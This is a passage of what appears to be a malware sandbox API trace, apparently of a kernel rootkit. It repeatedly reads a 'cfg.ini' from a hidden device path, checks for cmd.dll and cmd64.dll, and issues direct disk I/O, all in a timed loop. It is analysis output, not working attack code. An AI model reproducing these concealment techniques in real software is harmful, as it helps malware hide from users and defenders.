ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.331] KeLeaveCriticalRegion () [0126.331] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.331] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.331] KeEnterCriticalRegion () [0126.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.331] ExFreePoolWithTag (P=0xfffffa80037dc380, Tag=0x0) [0126.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.331] KeLeaveCriticalRegion () [0126.331] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.331] ReleaseMutex (hMutex=0xf0) returned 1 [0126.331] Sleep (dwMilliseconds=0x124f80) [0126.346] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.346] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.346] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.346] KeEnterCriticalRegion () [0126.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.346] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.346] IdePortDispatch () returned 0x103 [0126.346] KeWaitForMutexObject () returned 0x0 [0126.346] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.346] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.346] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.346] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.346] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.346] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfabe0 [0126.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.346] KeLeaveCriticalRegion () [0126.346] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.346] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.346] KeEnterCriticalRegion () [0126.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.346] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.346] KeLeaveCriticalRegion () [0126.346] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.346] KeEnterCriticalRegion () [0126.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.347] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.347] IdePortDispatch () returned 0x103 [0126.347] KeWaitForMutexObject () returned 0x0 [0126.347] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.347] KeLeaveCriticalRegion () [0126.347] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.347] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.347] KeEnterCriticalRegion () [0126.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.347] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003478000 [0126.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.347] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.347] IdePortDispatch () returned 0x103 [0126.347] KeWaitForMutexObject () returned 0x0 [0126.347] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.347] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.347] IdePortDispatch () returned 0x103 [0126.348] KeWaitForMutexObject () returned 0x0 [0126.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.348] KeLeaveCriticalRegion () [0126.348] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.348] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.348] KeEnterCriticalRegion () [0126.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.348] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.348] KeLeaveCriticalRegion () [0126.348] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.348] KeEnterCriticalRegion () [0126.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.348] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.349] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.349] KeLeaveCriticalRegion () [0126.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.349] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.349] KeEnterCriticalRegion () [0126.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.349] ExFreePoolWithTag (P=0xfffffa8003bfabe0, Tag=0x0) [0126.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.349] KeLeaveCriticalRegion () [0126.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.349] ReleaseMutex (hMutex=0xf0) returned 1 [0126.349] Sleep (dwMilliseconds=0x124f80) [0126.363] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.363] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.364] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.364] KeEnterCriticalRegion () [0126.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.364] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.364] IdePortDispatch () returned 0x103 [0126.364] KeWaitForMutexObject () returned 0x0 [0126.364] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.364] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.364] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.364] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.364] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.364] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfabe0 [0126.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.364] KeLeaveCriticalRegion () [0126.364] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.364] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.364] KeEnterCriticalRegion () [0126.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.364] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.364] KeLeaveCriticalRegion () [0126.364] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.364] KeEnterCriticalRegion () [0126.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.364] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.364] IdePortDispatch () returned 0x103 [0126.364] KeWaitForMutexObject () returned 0x0 [0126.365] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.365] KeLeaveCriticalRegion () [0126.365] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.365] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.365] KeEnterCriticalRegion () [0126.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.365] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347d000 [0126.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.365] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.365] IdePortDispatch () returned 0x103 [0126.365] KeWaitForMutexObject () returned 0x0 [0126.365] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.365] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.365] IdePortDispatch () returned 0x103 [0126.365] KeWaitForMutexObject () returned 0x0 [0126.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.365] KeLeaveCriticalRegion () [0126.365] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.366] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.366] KeEnterCriticalRegion () [0126.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.366] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.366] KeLeaveCriticalRegion () [0126.366] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.366] KeEnterCriticalRegion () [0126.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.366] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.366] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.366] KeLeaveCriticalRegion () [0126.366] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.366] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.366] KeEnterCriticalRegion () [0126.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.366] ExFreePoolWithTag (P=0xfffffa8003bfabe0, Tag=0x0) [0126.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.366] KeLeaveCriticalRegion () [0126.366] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.366] ReleaseMutex (hMutex=0xf0) returned 1 [0126.366] Sleep (dwMilliseconds=0x124f80) [0126.381] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.381] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.381] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.381] KeEnterCriticalRegion () [0126.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.381] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.381] IdePortDispatch () returned 0x103 [0126.381] KeWaitForMutexObject () returned 0x0 [0126.381] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.381] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.381] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.381] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.381] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.381] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac8630 [0126.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.381] KeLeaveCriticalRegion () [0126.381] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.381] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.381] KeEnterCriticalRegion () [0126.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.381] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.381] KeLeaveCriticalRegion () [0126.381] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.381] KeEnterCriticalRegion () [0126.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.381] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.381] IdePortDispatch () returned 0x103 [0126.382] KeWaitForMutexObject () returned 0x0 [0126.382] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.382] KeLeaveCriticalRegion () [0126.382] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.382] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.382] KeEnterCriticalRegion () [0126.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.382] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003487000 [0126.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.382] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.382] IdePortDispatch () returned 0x103 [0126.382] KeWaitForMutexObject () returned 0x0 [0126.382] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.382] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.382] IdePortDispatch () returned 0x103 [0126.382] KeWaitForMutexObject () returned 0x0 [0126.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.382] KeLeaveCriticalRegion () [0126.383] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.383] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.383] KeEnterCriticalRegion () [0126.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.383] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.383] KeLeaveCriticalRegion () [0126.383] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.383] KeEnterCriticalRegion () [0126.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.383] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.383] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4b90, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.383] KeLeaveCriticalRegion () [0126.383] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.383] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.383] KeEnterCriticalRegion () [0126.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.383] ExFreePoolWithTag (P=0xfffffa8003ac8630, Tag=0x0) [0126.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.383] KeLeaveCriticalRegion () [0126.383] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.383] ReleaseMutex (hMutex=0xf0) returned 1 [0126.383] Sleep (dwMilliseconds=0x124f80) [0126.398] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.398] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.398] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.398] KeEnterCriticalRegion () [0126.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.398] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.398] IdePortDispatch () returned 0x103 [0126.398] KeWaitForMutexObject () returned 0x0 [0126.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.399] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.399] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.399] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.399] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.399] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfabe0 [0126.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 